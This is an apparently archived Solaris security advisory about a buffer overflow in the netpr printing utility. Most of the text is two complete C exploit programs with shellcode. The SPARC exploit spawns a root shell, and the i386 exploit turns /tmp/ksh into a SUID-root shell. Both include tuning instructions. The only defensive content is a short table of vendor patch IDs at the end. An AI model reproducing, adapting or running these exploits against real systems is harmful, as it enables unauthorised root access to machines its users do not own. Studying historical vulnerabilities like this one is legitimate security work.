COMMAND
netpr
SYSTEMS AFFECTED
Solaris
PROBLEM
Cheez Whiz found following. Have you noticed how many holes have
been discovered in the printing system on Solaris? The netpr
program is no exception. Included below are two exploits Cheez
Whiz wrote in 1999, one for SPARC versions of Solaris and the
other for i386 versions. The SPARC version is a routine buffer
overflow exploit that produces an instant root shell, but the
i386 exploit requires some creative payload delivery to compensate
for the unavoidable corruption of an important stack variable.
The i386 version will turn a copy of /bin/ksh in /tmp into a SUID
root shell.
/**
*** netprex - SPARC Solaris root exploit for /usr/lib/lp/bin/netpr
***
*** Tested and confirmed under Solaris 2.6 and 7 (SPARC)
***
*** Usage: % netprex -h hostname [-o offset] [-a alignment]
***
*** where hostname is the name of any reachable host running the printer
*** service on TCP port 515 (such as "localhost" perhaps), offset is the
*** number of bytes to add to the %sp stack pointer to calculate the
*** desired return address, and alignment is the number of bytes needed
*** to correctly align the first NOP inside the exploit buffer.
***
*** When the exploit is run, the host specified with the -h option will
*** receive a connection from the netpr program to a nonsense printer
*** name, but the host will be otherwise untouched. The offset parameter
*** and the alignment parameter have default values that will be used
*** if no overriding values are specified on the command line. In some
*** situations the default values will not work correctly and should
*** be overridden on the command line. The offset value should be a
*** multiple of 8 and should lie reasonably close to the default value;
*** try adjusting the value by -640 to 640 from the default value in
*** increments of 64 for starters. The alignment value should be set
*** to either 0, 1, 2, or 3. In order to function correctly, the final
*** return address should not contain any null bytes, so adjust the offset
*** appropriately to counteract nulls should any arise.
***
*** Cheez Whiz / ADM
*** cheezbeast@hotmail.com
***
*** May 23, 1999
**/
/* Copyright (c) 1999 ADM */
/* All Rights Reserved */
/* THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF ADM */
/* The copyright notice above does not evidence any */
/* actual or intended publication of such source code. */
#define BUFLEN 1087
#define NOPLEN 932
#define ADDRLEN 80
#define OFFSET 1600 /* default offset */
#define ALIGNMENT 1 /* default alignment */
#define NOP 0x801bc00f /* xor %o7,%o7,%g0 */
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
char shell[] =
/* setuid: */
/* 0 */ "\x90\x1b\xc0\x0f" /* xor %o7,%o7,%o0 */
/* 4 */ "\x82\x10\x20\x17" /* mov 23,%g1 */
/* 8 */ "\x91\xd0\x20\x08" /* ta 8 */
/* alarm: */
/* 12 */ "\x90\x1b\xc0\x0f" /* xor %o7,%o7,%o0 */
/* 16 */ "\x82\x10\x20\x1b" /* mov 27,%g1 */
/* 20 */ "\x91\xd0\x20\x08" /* ta 8 */
/* execve: */
/* 24 */ "\x2d\x0b\xd8\x9a" /* sethi %hi(0x2f62696e),%l6 */
/* 28 */ "\xac\x15\xa1\x6e" /* or %l6,%lo(0x2f62696e),%l6 */
/* 32 */ "\x2f\x0b\xdc\xda" /* sethi %hi(0x2f736800),%l7 */
/* 36 */ "\x90\x0b\x80\x0e" /* and %sp,%sp,%o0 */
/* 40 */ "\x92\x03\xa0\x08" /* add %sp,8,%o1 */
/* 44 */ "\x94\x1b\xc0\x0f" /* xor %o7,%o7,%o2 */
/* 48 */ "\x9c\x03\xa0\x10" /* add %sp,16,%sp */
/* 52 */ "\xec\x3b\xbf\xf0" /* std %l6,[%sp-16] */
/* 56 */ "\xd0\x23\xbf\xf8" /* st %o0,[%sp-8] */
/* 60 */ "\xc0\x23\xbf\xfc" /* st %g0,[%sp-4] */
/* 64 */ "\x82\x10\x20\x3b" /* mov 59,%g1 */
/* 68 */ "\x91\xd0\x20\x08"; /* ta 8 */
extern char *optarg;
unsigned long int
get_sp()
{
__asm__("or %sp,%sp,%i0");
}
int
main(int argc, char *argv[])
{
unsigned long int sp, addr;
int c, i, offset, alignment;
char *program, *hostname, buf[BUFLEN+1], *cp;
program = argv[0];
hostname = "localhost";
offset = OFFSET;
alignment = ALIGNMENT;
while ((c = getopt(argc, argv, "h:o:a:")) != EOF) {
switch (c) {
case 'h':
hostname = optarg;
break;
case 'o':
offset = (int) strtol(optarg, NULL, 0);
break;
case 'a':
alignment = (int) strtol(optarg, NULL, 0);
break;
default:
fprintf(stderr, "usage: %s -h hostname [-o offset] "
"[-a alignment]\n", program);
exit(1);
break;
}
}
memset(buf, '\xff', BUFLEN);
for (i = 0, cp = buf + alignment; i < NOPLEN / 4; i++) {
*cp++ = (NOP >> 24) & 0xff;
*cp++ = (NOP >> 16) & 0xff;
*cp++ = (NOP >> 8) & 0xff;
*cp++ = (NOP >> 0) & 0xff;
}
memcpy(cp, shell, strlen(shell));
sp = get_sp(); addr = sp + offset; addr &= 0xfffffff8;
for (i = 0, cp = buf + BUFLEN - ADDRLEN; i < ADDRLEN / 4; i++) {
*cp++ = (addr >> 24) & 0xff;
*cp++ = (addr >> 16) & 0xff;
*cp++ = (addr >> 8) & 0xff;
*cp++ = (addr >> 0) & 0xff;
}
buf[BUFLEN] = '\0';
fprintf(stdout, "%%sp 0x%08lx offset %d --> return address 0x%08lx [%d]\n",
sp, offset, addr, alignment);
execle("/usr/lib/lp/bin/netpr",
"netpr",
"-I", "ADM-ADM",
"-U", "ADM!ADM",
"-p", buf,
"-d", hostname,
"-P", "bsd",
"/etc/passwd", NULL, NULL);
fprintf(stderr, "unable to exec netpr: %s\n", strerror(errno));
exit(1);
}
----- cut here ----- cut here ----- cut here ----- cut here -----
/**
*** netprex - i386 Solaris root exploit for /usr/lib/lp/bin/netpr
***
*** Tested and confirmed under Solaris 2.6 and 7 (i386)
***
*** Usage: % netprex hostname [offset]
***
*** where hostname is the name of a host running the printer service on
*** TCP port 515 (such as "localhost" perhaps) and offset (if present)
*** is the number of bytes to add to the stack pointer to calculate your
*** target return address; try -1000 to 1000 in increments of 100 for
*** starters.
***
*** Cheez Whiz / ADM
*** cheezbeast@hotmail.com
***
*** March 4, 1999
**/
/* Copyright (c) 1999 ADM */
/* All Rights Reserved */
/* THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF ADM */
/* The copyright notice above does not evidence any */
/* actual or intended publication of such source code. */
#define BUFLEN 1047
#define NOP 0x90
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/wait.h>
char shell[] =
/* 0 */ "\xeb\x41" /* jmp springboard */
/* syscall: */
/* 2 */ "\x9a\xff\xff\xff\xff\x07\xff" /* lcall 0x7,0x0 */
/* 9 */ "\xc3" /* ret */
/* start: */
/* 10 */ "\x5e" /* popl %esi */
/* 11 */ "\x31\xc0" /* xor %eax,%eax */
/* 13 */ "\x89\x46\xbb" /* movl %eax,-0x45(%esi) */
/* 16 */ "\x88\x46\xc0" /* movb %al,-0x40(%esi) */
/* 19 */ "\x88\x46\x08" /* movb %al,0x8(%esi) */
/* chown: */
/* 22 */ "\x31\xc0" /* xor %eax,%eax */
/* 24 */ "\x50" /* pushl %eax */
/* 25 */ "\x50" /* pushl %eax */
/* 26 */ "\x56" /* pushl %esi */
/* 27 */ "\xb0\x10" /* movb $0x10,%al */
/* 29 */ "\xe8\xe0\xff\xff\xff" /* call syscall */
/* 34 */ "\x83\xc4\x0c" /* addl $0xc,%esp */
/* chmod: */
/* 37 */ "\x31\xc0" /* xor %eax,%eax */
/* 39 */ "\xb0\x6d" /* movb $0x6d,%al */
/* 41 */ "\xb4\x09" /* movb $0x9,%ah */
/* 43 */ "\x50" /* pushl %eax */
/* 44 */ "\x56" /* pushl %esi */
/* 45 */ "\x31\xc0" /* xor %eax,%eax */
/* 47 */ "\xb0\x0f" /* movb $0xf,%al */
/* 49 */ "\xe8\xcc\xff\xff\xff" /* call syscall */
/* 54 */ "\x83\xc4\x08" /* addl $0x8,%esp */
/* exit: */
/* 57 */ "\x31\xc0" /* xor %eax,%eax */
/* 59 */ "\x50" /* pushl %eax */
/* 60 */ "\xb0\x01" /* movb $0x1,%al */
/* 62 */ "\xe8\xbf\xff\xff\xff" /* call syscall */
/* springboard: */
/* 67 */ "\xe8\xc2\xff\xff\xff" /* call start */
/* data: */
/* 72 */ "\x2f\x74\x6d\x70\x2f\x6b\x73\x68\xff"; /* DATA */
char buf[BUFLEN+1];
unsigned long int
get_esp()
{
__asm__("movl %esp,%eax");
}
int
main(int argc, char *argv[])
{
unsigned long int esp, nop;
long int offset = 0;
char *hostname, c;
int i, null, umbilical[2];
struct stat st;
int status;
if (argc < 2) {
printf("usage: %s hostname [offset]\n", argv[0]);
exit(1);
}
esp = get_esp();
hostname = argv[1];
if (argc > 2)
offset = strtol(argv[2], NULL, 0);
if (argc > 3)
nop = strtoul(argv[3], NULL, 0);
else
nop = 942;
memset(buf, NOP, BUFLEN);
memcpy(buf+nop, shell, strlen(shell));
for (i = nop+strlen(shell); i <= BUFLEN-4; i += 4)
*((int *) &buf[i]) = esp+offset;
printf("using return address 0x%08x (0x%08x offset %d) [nop %d]\n",
esp+offset, esp, offset, nop);
if (stat("/tmp/ksh", &st) < 0) {
printf("exploit failed; copy /bin/ksh to /tmp first!\n");
exit(1);
}
if (pipe(umbilical) < 0) {
printf("exploit failed; unable to create a pipe!\n");
exit(1);
}
switch (fork()) {
case -1:
printf("exploit failed; unable to fork!\n");
exit(1);
break;
case 0:
if ((null = open("/dev/null", O_RDWR, 0)) < 0) {
printf("exploit failed; cannot open /dev/null!\n");
exit(1);
}
dup2(null, STDIN_FILENO);
dup2(null, STDOUT_FILENO);
dup2(null, STDERR_FILENO);
if (null > STDERR_FILENO)
close(null);
close(umbilical[0]);
dup2(umbilical[1], 10); /* yes, descriptor 10 -- trust me ;-) */
execl("/usr/lib/lp/bin/netpr",
"netpr",
"-I", "ADM-ADM",
"-U", "ADM!ADM",
"-p", buf,
"-d", hostname,
"-P", "bsd",
"/etc/passwd", NULL);
printf("exploit failed; unable to exec!\n");
exit(1);
break;
default:
close(umbilical[1]);
c = 0;
while (c != '\n') {
read(umbilical[0], &c, 1);
}
c = '\0';
while (write(umbilical[0], &c, 1) < 1)
;
wait(&status);
if (WIFSIGNALED(status)) {
printf("exploit failed; child process died on signal %d "
"(try adjusting the offset)\n", WTERMSIG(status));
exit(1);
} else if (WIFEXITED(status) && (WEXITSTATUS(status) != 0)) {
printf("exploit failed; child process exited with unexpected "
"return value %d, instead of 0\n", WEXITSTATUS(status));
exit(1);
}
break;
}
if (stat("/tmp/ksh", &st) < 0) {
printf("exploit failed; /tmp/ksh disappeared somehow!\n");
exit(1);
} else if (st.st_uid != 0) {
printf("exploit failed; failed to make /tmp/ksh owned by root!\n");
exit(1);
} else if ((st.st_mode & 07777) != 04555) {
printf("exploit failed; failed to change /tmp/ksh to mode 4555!\n");
exit(1);
} else {
printf("exploit successful; /tmp/ksh is now SUID root, dewd!\n");
exit(0);
}
}
SOLUTION
The following patches are available in relation to the above
problems:
OS Version Patch ID
__________ _________
SunOS 5.8 109320-01
SunOS 5.8_x86 109321-01
SunOS 5.7 107115-05
SunOS 5.7_x86 107116-05
SunOS 5.6 106235-06
SunOS 5.6_x86 106236-06
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